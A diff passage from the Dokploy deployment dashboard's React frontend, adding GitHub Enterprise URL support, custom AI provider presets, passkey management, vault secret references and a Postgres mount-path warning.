POSTGRES_DATA_PATH_REGEX.test(mount.mountPath),
|
||||
);
|
||||
if (dataMounts.length === 0) return null;
|
||||
const expectedPath = getPostgresMountPath(dockerImage);
|
||||
if (dataMounts.some((mount) => mount.mountPath === expectedPath)) {
|
||||
return null;
|
||||
}
|
||||
return {
|
||||
expectedPath,
|
||||
currentPath: dataMounts.map((mount) => mount.mountPath).join(", "),
|
||||
};
|
||||
})();
|
||||
|
||||
const onSubmit = async (formData: AddDockerImage) => {
|
||||
await mutateAsync({
|
||||
mongoId: id || "",
|
||||
@@ -139,6 +174,18 @@ export const ShowCustomCommand = ({ id, type }: Props) => {
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
{mountPathWarning && (
|
||||
<AlertBlock type="warning">
|
||||
This image expects its data directory under{" "}
|
||||
<code>{mountPathWarning.expectedPath}</code>, but the
|
||||
volume of this database is mounted at{" "}
|
||||
<code>{mountPathWarning.currentPath}</code>. Changing the
|
||||
image does not migrate existing data — Postgres may
|
||||
crash-loop or start with an empty database. Adjust the
|
||||
volume mount path in the Volumes section or keep a
|
||||
compatible image before saving.
|
||||
</AlertBlock>
|
||||
)}
|
||||
</div>
|
||||
<FormField
|
||||
control={form.control}
|
||||
|
||||
@@ -6,6 +6,7 @@ import { toast } from "sonner";
|
||||
import { z } from "zod";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { CodeEditor } from "@/components/shared/code-editor";
|
||||
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Dialog,
|
||||
@@ -55,6 +56,11 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
|
||||
},
|
||||
);
|
||||
|
||||
const completionSource = useEnvCompletionSource({
|
||||
includeShared: false,
|
||||
projectId: data?.projectId,
|
||||
environmentId,
|
||||
});
|
||||
const form = useForm<UpdateEnvironment>({
|
||||
defaultValues: {
|
||||
env: data?.env ?? "",
|
||||
@@ -134,7 +140,9 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
|
||||
<AlertBlock type="info">
|
||||
Use this syntax to reference environment-level variables in your
|
||||
service environments:{" "}
|
||||
<code>API_URL=${"{{environment.API_URL}}"}</code>
|
||||
<code>API_URL=${"{{environment.API_URL}}"}</code>. You can also
|
||||
reference secrets from a configured vault provider:{" "}
|
||||
<code>DB_URL=${"{{vault.<provider>.<secret>}}"}</code>
|
||||
</AlertBlock>
|
||||
<div className="grid gap-4">
|
||||
<div className="grid items-center gap-4">
|
||||
@@ -151,6 +159,7 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
|
||||
<FormLabel>Environment variables</FormLabel>
|
||||
<FormControl>
|
||||
<CodeEditor
|
||||
completionSource={completionSource}
|
||||
lineWrapping
|
||||
language="properties"
|
||||
readOnly={!canWrite}
|
||||
|
||||
@@ -6,6 +6,7 @@ import { toast } from "sonner";
|
||||
import { z } from "zod";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { CodeEditor } from "@/components/shared/code-editor";
|
||||
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Dialog,
|
||||
@@ -55,6 +56,10 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
|
||||
},
|
||||
);
|
||||
|
||||
const completionSource = useEnvCompletionSource({
|
||||
includeShared: false,
|
||||
projectId,
|
||||
});
|
||||
const form = useForm<UpdateProject>({
|
||||
defaultValues: {
|
||||
env: data?.env ?? "",
|
||||
@@ -77,6 +82,7 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
|
||||
.then(() => {
|
||||
toast.success("Project env updated successfully");
|
||||
utils.project.all.invalidate();
|
||||
utils.project.one.invalidate({ projectId });
|
||||
})
|
||||
.catch(() => {
|
||||
toast.error("Error updating the env");
|
||||
@@ -149,6 +155,7 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
|
||||
<FormLabel>Environment variables</FormLabel>
|
||||
<FormControl>
|
||||
<CodeEditor
|
||||
completionSource={completionSource}
|
||||
lineWrapping
|
||||
language="properties"
|
||||
readOnly={!canWrite}
|
||||
|
||||
@@ -91,6 +91,7 @@ export const RequestDistributionChart = ({
|
||||
<Area
|
||||
dataKey="count"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="hsl(var(--chart-1))"
|
||||
fillOpacity={0.4}
|
||||
stroke="hsl(var(--chart-1))"
|
||||
|
||||
@@ -328,7 +328,7 @@ export const RequestsTable = ({ dateRange }: RequestsTableProps) => {
|
||||
open={!!selectedRow}
|
||||
onOpenChange={(_open) => setSelectedRow(undefined)}
|
||||
>
|
||||
<SheetContent className="sm:max-w-[740px] flex flex-col">
|
||||
<SheetContent className="w-full sm:max-w-[740px]! flex flex-col">
|
||||
<SheetHeader>
|
||||
<SheetTitle>Request log</SheetTitle>
|
||||
<SheetDescription>
|
||||
|
||||
@@ -63,7 +63,7 @@ export const ShowRequests = () => {
|
||||
const [dateRange, setDateRange] = useState<{
|
||||
from: Date | undefined;
|
||||
to: Date | undefined;
|
||||
}>(getDefaultDateRange());
|
||||
}>(() => getDefaultDateRange());
|
||||
|
||||
// Check if logs exist to determine if traefik has been reloaded
|
||||
// Only fetch when active to minimize network calls
|
||||
|
||||
@@ -13,10 +13,14 @@ import {
|
||||
} from "@/components/ui/card";
|
||||
import { api } from "@/utils/api";
|
||||
import { HandleAi } from "./handle-ai";
|
||||
import { HandleAiProviders } from "./handle-ai-providers";
|
||||
|
||||
export const AiForm = () => {
|
||||
const { data: aiConfigs, refetch, isPending } = api.ai.getAll.useQuery();
|
||||
const { mutateAsync, isPending: isRemoving } = api.ai.delete.useMutation();
|
||||
const { data: currentUser } = api.user.get.useQuery();
|
||||
const isOrgAdmin =
|
||||
currentUser?.role === "owner" || currentUser?.role === "admin";
|
||||
|
||||
return (
|
||||
<div className="w-full">
|
||||
@@ -30,7 +34,10 @@ export const AiForm = () => {
|
||||
</CardTitle>
|
||||
<CardDescription>Manage your AI configurations</CardDescription>
|
||||
</div>
|
||||
{aiConfigs && aiConfigs?.length > 0 && <HandleAi />}
|
||||
<div className="flex flex-row gap-2">
|
||||
{isOrgAdmin && <HandleAiProviders />}
|
||||
{aiConfigs && aiConfigs?.length > 0 && <HandleAi />}
|
||||
</div>
|
||||
</CardHeader>
|
||||
<CardContent className="space-y-2 py-8 border-t">
|
||||
{isPending ? (
|
||||
|
||||
@@ -13,6 +13,7 @@ import {
|
||||
import { Input } from "@/components/ui/input";
|
||||
import { Switch } from "@/components/ui/switch";
|
||||
import { api } from "@/utils/api";
|
||||
import { DEFAULT_GITHUB_URL, resolveGithubBaseUrl } from "@/utils/github-utils";
|
||||
|
||||
export const AddGithubProvider = () => {
|
||||
const [isOpen, setIsOpen] = useState(false);
|
||||
@@ -23,6 +24,9 @@ export const AddGithubProvider = () => {
|
||||
const [manifest, setManifest] = useState("");
|
||||
const [isOrganization, setIsOrganization] = useState(false);
|
||||
const [organizationName, setOrganization] = useState("");
|
||||
const [githubUrl, setGithubUrl] = useState(DEFAULT_GITHUB_URL);
|
||||
|
||||
const { baseUrl, error: githubUrlError } = resolveGithubBaseUrl(githubUrl);
|
||||
|
||||
const randomString = () => Math.random().toString(36).slice(2, 8);
|
||||
|
||||
@@ -30,7 +34,7 @@ export const AddGithubProvider = () => {
|
||||
const url = document.location.origin;
|
||||
const manifest = JSON.stringify(
|
||||
{
|
||||
redirect_url: `${origin}/api/providers/github/setup?organizationId=${activeOrganization?.id ?? ""}&userId=${session?.user?.id ?? ""}`,
|
||||
redirect_url: `${origin}/api/providers/github/setup?organizationId=${activeOrganization?.id ?? ""}&userId=${session?.user?.id ?? ""}&githubUrl=${encodeURIComponent(baseUrl)}`,
|
||||
name: `Dokploy-${format(new Date(), "yyyy-MM-dd")}-${randomString()}`,
|
||||
url: origin,
|
||||
hook_attributes: {
|
||||
@@ -52,7 +56,7 @@ export const AddGithubProvider = () => {
|
||||
);
|
||||
|
||||
setManifest(manifest);
|
||||
}, [activeOrganization?.id, session?.user?.id]);
|
||||
}, [activeOrganization?.id, session?.user?.id, baseUrl]);
|
||||
|
||||
return (
|
||||
<Dialog open={isOpen} onOpenChange={setIsOpen}>
|
||||
@@ -79,6 +83,25 @@ export const AddGithubProvider = () => {
|
||||
below to get started.
|
||||
</p>
|
||||
<div className="mt-4 flex flex-col gap-4">
|
||||
<div className="flex flex-col gap-2">
|
||||
<span className="text-sm">GitHub URL</span>
|
||||
<Input
|
||||
placeholder={DEFAULT_GITHUB_URL}
|
||||
value={githubUrl}
|
||||
onChange={(e) => setGithubUrl(e.target.value)}
|
||||
/>
|
||||
<span className="text-muted-foreground text-xs">
|
||||
Leave as is for github.com. For GitHub Enterprise, use your
|
||||
instance URL (e.g. https://acme.ghe.com or
|
||||
https://github.acme.com).
|
||||
</span>
|
||||
{githubUrlError && (
|
||||
<span className="text-destructive text-xs">
|
||||
{githubUrlError}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="flex flex-row gap-4">
|
||||
<span>Organization?</span>
|
||||
<Switch
|
||||
@@ -98,8 +121,8 @@ export const AddGithubProvider = () => {
|
||||
<form
|
||||
action={
|
||||
isOrganization
|
||||
? `https://github.com/organizations/${organizationName}/settings/apps/new?state=gh_init:${activeOrganization?.id}:${session?.user?.id ?? ""}`
|
||||
: `https://github.com/settings/apps/new?state=gh_init:${activeOrganization?.id}:${session?.user?.id ?? ""}`
|
||||
? `${baseUrl}/organizations/${organizationName}/settings/apps/new?state=gh_init:${activeOrganization?.id}:${session?.user?.id ?? ""}`
|
||||
: `${baseUrl}/settings/apps/new?state=gh_init:${activeOrganization?.id}:${session?.user?.id ?? ""}`
|
||||
}
|
||||
method="post"
|
||||
>
|
||||
@@ -116,22 +139,25 @@ export const AddGithubProvider = () => {
|
||||
<a
|
||||
href={
|
||||
isOrganization && organizationName
|
||||
? `https://github.com/organizations/${organizationName}/settings/installations`
|
||||
: "https://github.com/settings/installations"
|
||||
? `${baseUrl}/organizations/${organizationName}/settings/installations`
|
||||
: `${baseUrl}/settings/installations`
|
||||
}
|
||||
className={`text-muted-foreground text-sm hover:underline duration-300
|
||||
${
|
||||
isOrganization && !organizationName
|
||||
? "pointer-events-none opacity-50"
|
||||
: ""
|
||||
}`}
|
||||
}`}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
>
|
||||
Unsure if you already have an app?
|
||||
</a>
|
||||
<Button
|
||||
disabled={isOrganization && organizationName.length < 1}
|
||||
disabled={
|
||||
!!githubUrlError ||
|
||||
(isOrganization && organizationName.length < 1)
|
||||
}
|
||||
type="submit"
|
||||
className="self-end"
|
||||
>
|
||||
|
||||
@@ -147,6 +147,15 @@ export const EditGithubProvider = ({ githubId }: Props) => {
|
||||
)}
|
||||
/>
|
||||
|
||||
<div className="flex flex-col gap-2">
|
||||
<span className="text-sm font-medium">GitHub URL</span>
|
||||
<Input value={github?.githubUrl ?? ""} readOnly />
|
||||
<span className="text-muted-foreground text-xs">
|
||||
Set when the app was created and not editable, the app
|
||||
credentials belong to this instance.
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<div className="flex w-full justify-between gap-4 mt-4">
|
||||
<Button
|
||||
type="button"
|
||||
|
||||
@@ -33,6 +33,7 @@ import {
|
||||
TooltipTrigger,
|
||||
} from "@/components/ui/tooltip";
|
||||
import { api } from "@/utils/api";
|
||||
import { DEFAULT_GITHUB_URL } from "@/utils/github-utils";
|
||||
import { useUrl } from "@/utils/hooks/use-url";
|
||||
import { AddBitbucketProvider } from "./bitbucket/add-bitbucket-provider";
|
||||
import { EditBitbucketProvider } from "./bitbucket/edit-bitbucket-provider";
|
||||
@@ -161,6 +162,14 @@ export const ShowGitProviders = () => {
|
||||
<span className="text-sm font-medium">
|
||||
{gitProvider.name}
|
||||
</span>
|
||||
{isGithub &&
|
||||
gitProvider.github?.githubUrl &&
|
||||
gitProvider.github.githubUrl !==
|
||||
DEFAULT_GITHUB_URL && (
|
||||
<span className="text-xs text-muted-foreground">
|
||||
{gitProvider.github.githubUrl}
|
||||
</span>
|
||||
)}
|
||||
<span className="text-xs text-muted-foreground">
|
||||
{formatDate(
|
||||
gitProvider.createdAt,
|
||||
|
||||
@@ -0,0 +1,158 @@
|
||||
"use client";
|
||||
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
|
||||
import { PlusIcon, ServerIcon, Trash2 } from "lucide-react";
|
||||
import { useEffect, useState } from "react";
|
||||
import { useFieldArray, useForm } from "react-hook-form";
|
||||
import { toast } from "sonner";
|
||||
import { z } from "zod";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Dialog,
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogHeader,
|
||||
DialogTitle,
|
||||
DialogTrigger,
|
||||
} from "@/components/ui/dialog";
|
||||
import {
|
||||
Form,
|
||||
FormControl,
|
||||
FormField,
|
||||
FormItem,
|
||||
FormMessage,
|
||||
} from "@/components/ui/form";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
const Schema = z.object({
|
||||
providers: z.array(
|
||||
z.object({
|
||||
name: z.string().min(1, { message: "Name is required" }),
|
||||
apiUrl: z.string().url({ message: "Please enter a valid URL" }),
|
||||
}),
|
||||
),
|
||||
});
|
||||
|
||||
type Schema = z.infer<typeof Schema>;
|
||||
|
||||
export const HandleAiProviders = () => {
|
||||
const utils = api.useUtils();
|
||||
const [open, setOpen] = useState(false);
|
||||
const { data: providers } = api.ai.getCustomProviders.useQuery();
|
||||
const { mutateAsync, isPending } = api.ai.saveCustomProviders.useMutation();
|
||||
|
||||
const form = useForm<Schema>({
|
||||
resolver: zodResolver(Schema),
|
||||
defaultValues: {
|
||||
providers: [],
|
||||
},
|
||||
});
|
||||
|
||||
const { fields, append, remove } = useFieldArray({
|
||||
control: form.control,
|
||||
name: "providers",
|
||||
});
|
||||
|
||||
useEffect(() => {
|
||||
if (open) {
|
||||
form.reset({ providers: providers ?? [] });
|
||||
}
|
||||
}, [open, providers, form]);
|
||||
|
||||
const onSubmit = async (data: Schema) => {
|
||||
try {
|
||||
await mutateAsync({ providers: data.providers });
|
||||
await utils.ai.getCustomProviders.invalidate();
|
||||
toast.success("Custom providers saved successfully");
|
||||
setOpen(false);
|
||||
} catch (error) {
|
||||
toast.error("Failed to save custom providers", {
|
||||
description: error instanceof Error ? error.message : "Unknown error",
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<Dialog open={open} onOpenChange={setOpen}>
|
||||
<DialogTrigger asChild>
|
||||
<Button variant="outline" className="cursor-pointer space-x-3">
|
||||
<ServerIcon className="h-4 w-4" />
|
||||
Custom Presets
|
||||
</Button>
|
||||
</DialogTrigger>
|
||||
<DialogContent className="sm:max-w-xl">
|
||||
<DialogHeader>
|
||||
<DialogTitle>Custom AI Providers</DialogTitle>
|
||||
<DialogDescription>
|
||||
Define your own AI providers, like an internal LLM platform. When at
|
||||
least one is defined, only these providers can be used in AI
|
||||
configurations.
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
<Form {...form}>
|
||||
<form onSubmit={form.handleSubmit(onSubmit)} className="space-y-4">
|
||||
{fields.length === 0 && (
|
||||
<p className="text-sm text-muted-foreground">
|
||||
No custom providers defined. The built-in provider list will be
|
||||
used.
|
||||
</p>
|
||||
)}
|
||||
{fields.map((fieldItem, index) => (
|
||||
<div key={fieldItem.id} className="flex gap-2 items-start">
|
||||
<FormField
|
||||
control={form.control}
|
||||
name={`providers.${index}.name`}
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex-1">
|
||||
<FormControl>
|
||||
<Input placeholder="Internal LLM" {...field} />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name={`providers.${index}.apiUrl`}
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex-[2]">
|
||||
<FormControl>
|
||||
<Input
|
||||
placeholder="https://llm.internal.company/v1"
|
||||
{...field}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<Button
|
||||
type="button"
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
className="group hover:bg-red-500/10"
|
||||
onClick={() => remove(index)}
|
||||
>
|
||||
<Trash2 className="size-4 text-primary group-hover:text-red-500" />
|
||||
</Button>
|
||||
</div>
|
||||
))}
|
||||
<div className="flex justify-between">
|
||||
<Button
|
||||
type="button"
|
||||
variant="outline"
|
||||
onClick={() => append({ name: "", apiUrl: "" })}
|
||||
>
|
||||
<PlusIcon className="h-4 w-4" />
|
||||
Add Provider
|
||||
</Button>
|
||||
<Button type="submit" isLoading={isPending}>
|
||||
Save
|
||||
</Button>
|
||||
</div>
|
||||
</form>
|
||||
</Form>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
);
|
||||
};
|
||||
@@ -99,6 +99,11 @@ export const HandleAi = ({ aiId }: Props) => {
|
||||
enabled: !!aiId,
|
||||
},
|
||||
);
|
||||
const { data: customProviders } = api.ai.getCustomProviders.useQuery();
|
||||
const hasCustomProviders = (customProviders?.length ?? 0) > 0;
|
||||
const providerOptions: { name: string; apiUrl: string }[] = hasCustomProviders
|
||||
? (customProviders ?? [])
|
||||
: [...AI_PROVIDERS];
|
||||
const { mutateAsync, isPending } = aiId
|
||||
? api.ai.update.useMutation()
|
||||
: api.ai.create.useMutation();
|
||||
@@ -210,7 +215,9 @@ export const HandleAi = ({ aiId }: Props) => {
|
||||
<FormLabel>Provider</FormLabel>
|
||||
<Select
|
||||
onValueChange={(value) => {
|
||||
const provider = AI_PROVIDERS.find((p) => p.apiUrl === value);
|
||||
const provider = providerOptions.find(
|
||||
(p) => p.apiUrl === value,
|
||||
);
|
||||
if (provider) {
|
||||
form.setValue("name", provider.name);
|
||||
form.setValue("apiUrl", provider.apiUrl);
|
||||
@@ -222,15 +229,20 @@ export const HandleAi = ({ aiId }: Props) => {
|
||||
<SelectValue placeholder="Select a provider preset..." />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
{AI_PROVIDERS.map((provider) => (
|
||||
<SelectItem key={provider.apiUrl} value={provider.apiUrl}>
|
||||
{providerOptions.map((provider) => (
|
||||
<SelectItem
|
||||
key={`${provider.name}-${provider.apiUrl}`}
|
||||
value={provider.apiUrl}
|
||||
>
|
||||
{provider.name}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
<p className="text-[0.8rem] text-muted-foreground">
|
||||
Quick-fill provider name and URL, or configure manually below
|
||||
{hasCustomProviders
|
||||
? "Select one of the providers defined by your organization"
|
||||
: "Quick-fill provider name and URL, or configure manually below"}
|
||||
</p>
|
||||
</div>
|
||||
|
||||
@@ -260,6 +272,7 @@ export const HandleAi = ({ aiId }: Props) => {
|
||||
<FormControl>
|
||||
<Input
|
||||
placeholder="https://api.openai.com/v1"
|
||||
disabled={hasCustomProviders}
|
||||
{...field}
|
||||
onChange={(e) => {
|
||||
field.onChange(e);
|
||||
@@ -271,7 +284,9 @@ export const HandleAi = ({ aiId }: Props) => {
|
||||
/>
|
||||
</FormControl>
|
||||
<FormDescription>
|
||||
The base URL for your AI provider's API
|
||||
{hasCustomProviders
|
||||
? "The API URL is defined by your organization's providers"
|
||||
: "The base URL for your AI provider's API"}
|
||||
</FormDescription>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
|
||||
@@ -100,7 +100,7 @@ export const Enable2FA = () => {
|
||||
});
|
||||
|
||||
if (result.error) {
|
||||
if (result.error.code === "INVALID_TWO_FACTOR_AUTHENTICATION") {
|
||||
if (result.error.code === "INVALID_CODE") {
|
||||
toast.error("Invalid verification code");
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,170 @@
|
||||
import { Fingerprint, Loader2, Plus, Trash2 } from "lucide-react";
|
||||
import { useState } from "react";
|
||||
import { toast } from "sonner";
|
||||
import { DateTooltip } from "@/components/shared/date-tooltip";
|
||||
import { DialogAction } from "@/components/shared/dialog-action";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Dialog,
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogHeader,
|
||||
DialogTitle,
|
||||
DialogTrigger,
|
||||
} from "@/components/ui/dialog";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import { Label } from "@/components/ui/label";
|
||||
import { authClient } from "@/lib/auth-client";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
export const ManagePasskeys = () => {
|
||||
const utils = api.useUtils();
|
||||
const [isDialogOpen, setIsDialogOpen] = useState(false);
|
||||
const { data: passkeys, isLoading } = api.user.listPasskeys.useQuery(
|
||||
undefined,
|
||||
{
|
||||
enabled: isDialogOpen,
|
||||
},
|
||||
);
|
||||
const [name, setName] = useState("");
|
||||
const [isAdding, setIsAdding] = useState(false);
|
||||
const [deletingId, setDeletingId] = useState<string | null>(null);
|
||||
|
||||
const handleAddPasskey = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
setIsAdding(true);
|
||||
try {
|
||||
const result = await authClient.passkey.addPasskey({
|
||||
name: name.trim() || undefined,
|
||||
});
|
||||
|
||||
if (result?.error) {
|
||||
toast.error(result.error.message);
|
||||
return;
|
||||
}
|
||||
|
||||
toast.success("Passkey added successfully");
|
||||
setName("");
|
||||
utils.user.listPasskeys.invalidate();
|
||||
} catch {
|
||||
toast.error("Failed to add passkey");
|
||||
} finally {
|
||||
setIsAdding(false);
|
||||
}
|
||||
};
|
||||
|
||||
const handleDeletePasskey = async (id: string) => {
|
||||
setDeletingId(id);
|
||||
try {
|
||||
const result = await authClient.passkey.deletePasskey({ id });
|
||||
|
||||
if (result?.error) {
|
||||
toast.error(result.error.message);
|
||||
return;
|
||||
}
|
||||
|
||||
toast.success("Passkey removed");
|
||||
utils.user.listPasskeys.invalidate();
|
||||
} catch {
|
||||
toast.error("Failed to remove passkey");
|
||||
} finally {
|
||||
setDeletingId(null);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<Dialog open={isDialogOpen} onOpenChange={setIsDialogOpen}>
|
||||
<DialogTrigger asChild>
|
||||
<Button variant="secondary">
|
||||
<Fingerprint className="size-4 text-muted-foreground" />
|
||||
Passkeys
|
||||
</Button>
|
||||
</DialogTrigger>
|
||||
<DialogContent className="sm:max-w-xl">
|
||||
<DialogHeader>
|
||||
<DialogTitle>Passkeys</DialogTitle>
|
||||
<DialogDescription>
|
||||
Sign in without a password using your device's biometrics, security
|
||||
key, or password manager.
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
|
||||
<div className="space-y-4">
|
||||
{isLoading ? (
|
||||
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[10vh]">
|
||||
<span>Loading...</span>
|
||||
<Loader2 className="animate-spin size-4" />
|
||||
</div>
|
||||
) : passkeys && passkeys.length > 0 ? (
|
||||
<div className="grid gap-3">
|
||||
{passkeys.map((passkey) => (
|
||||
<div
|
||||
key={passkey.id}
|
||||
className="flex items-center justify-between gap-2 p-4 border rounded-lg"
|
||||
>
|
||||
<div className="flex flex-col gap-1 min-w-0">
|
||||
<span className="font-medium flex items-center gap-2">
|
||||
<Fingerprint className="size-4 text-muted-foreground shrink-0" />
|
||||
<span className="truncate">
|
||||
{passkey.name || "Unnamed passkey"}
|
||||
</span>
|
||||
<Badge variant="outline">
|
||||
{passkey.deviceType === "singleDevice"
|
||||
? "Device"
|
||||
: "Synced"}
|
||||
</Badge>
|
||||
</span>
|
||||
{passkey.createdAt && (
|
||||
<DateTooltip
|
||||
date={passkey.createdAt.toString()}
|
||||
className="text-sm"
|
||||
>
|
||||
Added
|
||||
</DateTooltip>
|
||||
)}
|
||||
</div>
|
||||
<DialogAction
|
||||
title="Remove this passkey?"
|
||||
description="You will no longer be able to sign in with it. This action cannot be undone."
|
||||
onClick={() => handleDeletePasskey(passkey.id)}
|
||||
>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
isLoading={deletingId === passkey.id}
|
||||
className="text-muted-foreground hover:text-destructive"
|
||||
>
|
||||
<Trash2 className="size-4" />
|
||||
</Button>
|
||||
</DialogAction>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<div className="flex flex-col items-center gap-2 py-6 text-sm text-muted-foreground border rounded-lg">
|
||||
<Fingerprint className="size-6" />
|
||||
<span>No passkeys registered yet</span>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<form onSubmit={handleAddPasskey} className="flex flex-col gap-2">
|
||||
<Label htmlFor="passkey-name">Passkey Name</Label>
|
||||
<div className="flex gap-2">
|
||||
<Input
|
||||
id="passkey-name"
|
||||
placeholder="e.g. MacBook Touch ID"
|
||||
value={name}
|
||||
onChange={(e) => setName(e.target.value)}
|
||||
/>
|
||||
<Button type="submit" isLoading={isAdding}>
|
||||
<Plus className="size-4" />
|
||||
Add Passkey
|
||||
</Button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
);
|
||||
};
|
||||
@@ -31,6 +31,7 @@ import { generateSHA256Hash, getFallbackAvatarInitials } from "@/lib/utils";
|
||||
import { api } from "@/utils/api";
|
||||
import { Configure2FA } from "./configure-2fa";
|
||||
import { Enable2FA } from "./enable-2fa";
|
||||
import { ManagePasskeys } from "./manage-passkeys";
|
||||
|
||||
const profileSchema = z.object({
|
||||
email: z
|
||||
@@ -162,7 +163,10 @@ export const ProfileForm = () => {
|
||||
</CardDescription>
|
||||
</div>
|
||||
|
||||
{!data?.user.twoFactorEnabled ? <Enable2FA /> : <Configure2FA />}
|
||||
<div className="flex flex-row gap-2 flex-wrap">
|
||||
<ManagePasskeys />
|
||||
{!data?.user.twoFactorEnabled ? <Enable2FA /> : <Configure2FA />}
|
||||
</div>
|
||||
</CardHeader>
|
||||
|
||||
<CardContent className="space-y-2 py-8 border-t">
|
||||
|
||||
@@ -19,8 +19,6 @@ export const ShowDokployActions = () => {
|
||||
const { mutateAsync: reloadServer, isPending } =
|
||||
api.settings.reloadServer.useMutation();
|
||||
|
||||
const { mutateAsync: cleanRedis } = api.settings.cleanRedis.useMutation();
|
||||
const { mutateAsync: reloadRedis } = api.settings.reloadRedis.useMutation();
|
||||
const { mutateAsync: cleanAllDeploymentQueue } =
|
||||
api.settings.cleanAllDeploymentQueue.useMutation();
|
||||
|
||||
@@ -70,21 +68,6 @@ export const ShowDokployActions = () => {
|
||||
</DropdownMenuItem>
|
||||
</UpdateServerIp>
|
||||
|
||||
<DropdownMenuItem
|
||||
className="cursor-pointer"
|
||||
onClick={async () => {
|
||||
await cleanRedis()
|
||||
.then(async () => {
|
||||
toast.success("Redis cleaned");
|
||||
})
|
||||
.catch(() => {
|
||||
toast.error("Error cleaning Redis");
|
||||
});
|
||||
}}
|
||||
>
|
||||
Clean Redis
|
||||
</DropdownMenuItem>
|
||||
|
||||
<DropdownMenuItem
|
||||
className="cursor-pointer"
|
||||
onClick={async () => {
|
||||
@@ -99,21 +82,6 @@ export const ShowDokployActions = () => {
|
||||
>
|
||||
Clean all deployment queue
|
||||
</DropdownMenuItem>
|
||||
|
||||
<DropdownMenuItem
|
||||
className="cursor-pointer"
|
||||
onClick={async () => {
|
||||
await reloadRedis()
|
||||
.then(async () => {
|
||||
toast.success("Redis reloaded");
|
||||
})
|
||||
.catch(() => {
|
||||
toast.error("Error reloading Redis");
|
||||
});
|
||||
}}
|
||||
>
|
||||
Reload Redis
|
||||
</DropdownMenuItem>
|
||||
</DropdownMenuGroup>
|
||||
</DropdownMenuContent>
|
||||
</DropdownMenu>
|
||||
|
||||
@@ -0,0 +1,945 @@
|
||||
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
|
||||
import { PenBoxIcon, PlusIcon } from "lucide-react";
|
||||
import { useEffect, useState } from "react";
|
||||
import { useForm } from "react-hook-form";
|
||||
import { toast } from "sonner";
|
||||
import { z } from "zod";
|
||||
import { vaultProviderIcons } from "@/components/icons/vault-provider-icons";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Checkbox } from "@/components/ui/checkbox";
|
||||
import {
|
||||
Dialog,
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogFooter,
|
||||
DialogHeader,
|
||||
DialogTitle,
|
||||
DialogTrigger,
|
||||
} from "@/components/ui/dialog";
|
||||
import {
|
||||
Form,
|
||||
FormControl,
|
||||
FormDescription,
|
||||
FormField,
|
||||
FormItem,
|
||||
FormLabel,
|
||||
FormMessage,
|
||||
} from "@/components/ui/form";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import {
|
||||
Select,
|
||||
SelectContent,
|
||||
SelectItem,
|
||||
SelectTrigger,
|
||||
SelectValue,
|
||||
} from "@/components/ui/select";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
const providerLabels = {
|
||||
hashicorp: "HashiCorp Vault / OpenBao",
|
||||
infisical: "Infisical",
|
||||
aws: "AWS Secrets Manager",
|
||||
doppler: "Doppler",
|
||||
azure: "Azure Key Vault",
|
||||
} as const;
|
||||
|
||||
type ProviderType = keyof typeof providerLabels;
|
||||
|
||||
const VaultProviderSchema = z
|
||||
.object({
|
||||
name: z
|
||||
.string()
|
||||
.min(1, { message: "Name is required" })
|
||||
.regex(/^[a-zA-Z0-9_-]+$/, {
|
||||
message:
|
||||
